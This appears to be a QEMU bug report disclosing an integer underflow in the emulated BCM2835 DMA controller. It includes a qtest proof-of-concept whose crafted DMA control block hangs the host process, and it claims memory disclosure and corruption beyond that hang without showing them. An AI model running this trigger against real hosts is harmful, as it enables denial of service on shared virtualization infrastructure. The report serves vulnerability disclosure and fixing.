Integer Underflow in BCM2835 DMA Controller

Host environment

  • Operating system:

    Ubuntu 24.04

  • OS/kernel version:

    Linux Mewtwo 6.11.0-25-generic #25~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Apr 15 17:20:50 UTC 2 x86_64 x86_64 x86_64 GNU/Linux

  • Architecture:

    x86

  • QEMU flavor:

    qemu-system-arm

  • QEMU version:

    c494afbb

  • QEMU command line:

  • OS/kernel version:

  • Architecture:

Description of problem

An unsigned integer underflow in the BCM2835 DMA controller causes an infinite loop, leading to host DoS and potential guest-to-host information leakage or memory corruption. Affected Component(s): hw/dma/bcm2835_dma.c (function bcm2835_dma_update) Affected Version(s)/Platform(s):

  • All Raspberry Pi emulated platforms (raspi0, raspi1ap, raspi2b, raspi3b)
  • QEMU latest master branch
  • All architectures supporting ARM emulation

Impact: A malicious guest with access to the BCM2835 DMA device can:

  1. Cause host CPU to reach 100% utilization (Denial of Service)
  2. Read up to 4GB of guest physical memory mapped to host virtual memory (Information Disclosure)
  3. Write up to 4GB of guest physical memory (Memory Corruption)
  4. Potentially achieve guest-to-host escape with advanced exploitation

Steps to reproduce

Test Code (tests/qtest/bcm2835-dma-test.c):

static void test_cve_underflow_txfr_len_1(void)
{
    uint64_t dma_base = RASPI3_DMA_BASE; // 0x3f007000
    uint32_t cb_addr = 0x1000;
    uint32_t src_addr = 0x2000;
    uint32_t dst_addr = 0x3000;
    /* Prepare DMA Control Block with VULNERABLE configuration */
    writel(cb_addr + 0, BCM2708_DMA_S_INC | BCM2708_DMA_D_INC); /* TI */
    writel(cb_addr + 4, src_addr); /* source address */
    writel(cb_addr + 8, dst_addr); /* destination address */
    writel(cb_addr + 12, 1); /* ⚠️ txfr_len = 1 (TRIGGER!) */
    writel(cb_addr + 16, 0); /* stride */
    writel(cb_addr + 20, 0); /* next CB = NULL */
    /* Set control block address */
    writel(dma_base + BCM2708_DMA_ADDR, cb_addr);
    /* Trigger DMA - this will cause the vulnerability */
    writel(dma_base + BCM2708_DMA_CS, BCM2708_DMA_ACTIVE);
    /* Without the fix, QEMU process will hang at 100% CPU */
}

Run the PoC:

export QTEST_QEMU_BINARY=./build/qemu-system-arm ./build/tests/qtest/bcm2835-dma-test Expected Outcome:

WITHOUT instrumentation (vanilla QEMU):

  • QEMU process enters an infinite loop
  • Host CPU utilization reaches 100%
  • Process must be killed with kill -9
  • No output, just hangs indefinitely WITH instrumentation (for verification): I added monitoring code to hw/dma/bcm2835_dma.c to detect and abort after 1000 iterations:
bcm2835_dma ch0: txfr_len=1 (not 4-byte aligned)
This will cause unsigned integer underflow!
Expected ~1073741823 iterations (~4.00 GB transfer)
  [Iteration 1] xlen=0x00000001 (1)
  [Iteration 2] xlen=0xfffffffd (4294967293) ← UNDERFLOW OCCURRED
  [Iteration 3] xlen=0xfffffff9 (4294967289)
  [Iteration 4] xlen=0xfffffff5 (4294967285)
  [Iteration 5] xlen=0xfffffff1 (4294967281)
  [Iteration 6] xlen=0xffffffed (4294967277)
  [Iteration 7] xlen=0xffffffe9 (4294967273)
  [Iteration 8] xlen=0xffffffe5 (4294967269)
  [Iteration 9] xlen=0xffffffe1 (4294967265)
  [Iteration 10] xlen=0xffffffdd (4294967261)
!!! VULNERABILITY CONFIRMED !!!
bcm2835_dma: Loop count reached 1000 iterations
Initial xlen=1, current xlen=0xfffff065
Integer underflow exploit in progress!
Aborting to prevent infinite loop...

The test confirms:

  1. Integer underflow from 1 to 0xFFFFFFFD after first iteration
  2. Loop continues indefinitely (aborted at 1000 iterations for safety)
  3. Without the abort mechanism, this would continue for ~1 billion iterations Full test results have been saved and are available upon request.

Additional information

To upload designs, you'll need to enable LFS and have an admin enable hashed storage. More information